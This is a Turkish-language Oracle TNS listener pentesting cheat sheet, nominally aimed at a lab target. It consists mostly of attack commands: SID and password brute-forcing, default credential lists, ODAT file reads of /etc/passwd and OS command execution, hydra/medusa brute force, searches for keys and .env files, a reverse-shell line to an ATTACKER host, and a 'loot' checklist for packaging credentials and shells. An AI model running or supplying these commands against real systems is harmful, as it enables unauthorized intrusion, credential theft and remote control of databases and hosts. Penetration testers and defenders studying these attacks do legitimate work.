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1521,1522-1529 - Pentesting Oracle TNS Listener

Oracle TNS database

TNS listener SID/service sızdırır. Zayıf hesap + DBMS privilege zinciri OS komutuna gider. Hedef lab IP’si üzerinde komutları 1521 portuna göre uyarla; her başarıyı ayrı kanıtla.

  1. 1521 TNS fingerprint.

  2. SID/service brute.

  3. sys/system/scott hesapları.

  4. Java/scheduler ile OS komut.

Terminal window
nmap -Pn -sV -p1521,1522,1529 TARGET
Terminal window
nmap -Pn -p1521,1522,1529 --script oracle-tns-version,oracle-sid-brute TARGET
Terminal window
tnscmd10g version -h TARGET
Terminal window
odat.py all -s TARGET
Terminal window
odat.py sidguesser -s TARGET
Terminal window
odat.py passwordguesser -s TARGET -d ORCL
Terminal window
sqlplus scott/tiger@TARGET:1521/ORCL
system/manager, sys/change_on_install, scott/tiger
Terminal window
odat.py dbmsxslprocessor -s TARGET -d ORCL -U user -P pass --getFile /etc/passwd
Terminal window
odat.py java -s TARGET -d ORCL -U user -P pass --exec 'id'
Terminal window
odat.py externaltable -s TARGET -d ORCL -U user -P pass --exec 'id'

,1522-1529 - Oracle TNS Listener için ek keşif ve fingerprint.

Terminal window
nmap -Pn -sV -sC -p1521,1522,1529 TARGET
Terminal window
nmap -Pn -p1521 --script safe,discovery TARGET
Terminal window
timeout 5 bash -c 'echo | openssl s_client -connect TARGET:1521' 2>/dev/null | head
Terminal window
python3 -c "import socket;s=socket.create_connection(('TARGET',1521));s.settimeout(3);print(s.recv(4096))"
Banner / TLS / ALPN notları → ,1522-1529 - Oracle TNS Listener
Terminal window
hydra -L users.txt -P rockyou.txt -s 1521 PROTOCOL://TARGET -t 4
Terminal window
medusa -h TARGET -U users.txt -P rockyou.txt -M PROTOCOL -n 1521
Terminal window
nmap -p1521 --script '*-brute' TARGET
admin/admin, root/root, guest/(boş), test/test
Terminal window
searchsploit Oracle TNS
Terminal window
msfconsole -q -x 'search Oracle TNS; exit'
Terminal window
nuclei -u https://TARGET:1521 -t cves/ -silent -severity || true
Terminal window
nuclei -u http://TARGET:1521 -tags tech -silent || true
Terminal window
nc -nv TARGET 1521
Terminal window
printf '
' | timeout 3 nc -nv TARGET 1521
Terminal window
curl -vk --http1.0 http://TARGET:1521/
Wireshark/tcpdump ile konuşmayı kaydet; replay dene
config, key, session, env, backup
Terminal window
find / -name '*.conf' -o -name '*.env' -o -name 'id_rsa' 2>/dev/null | head
Terminal window
ss -lntp; ip a; cat /etc/passwd | head
Terminal window
bash -i >& /dev/tcp/ATTACKER/443 0>&1
Terminal window
mkdir -p loot && tee loot/notes.txt
[ ] Fingerprint / sürüm
[ ] Auth ve anonim erişim
[ ] PoC etki gösterildi
[ ] Credential/shell paketlendi
[ ] Pivot notu
SID brute → default creds → ODAT file/java → OS shell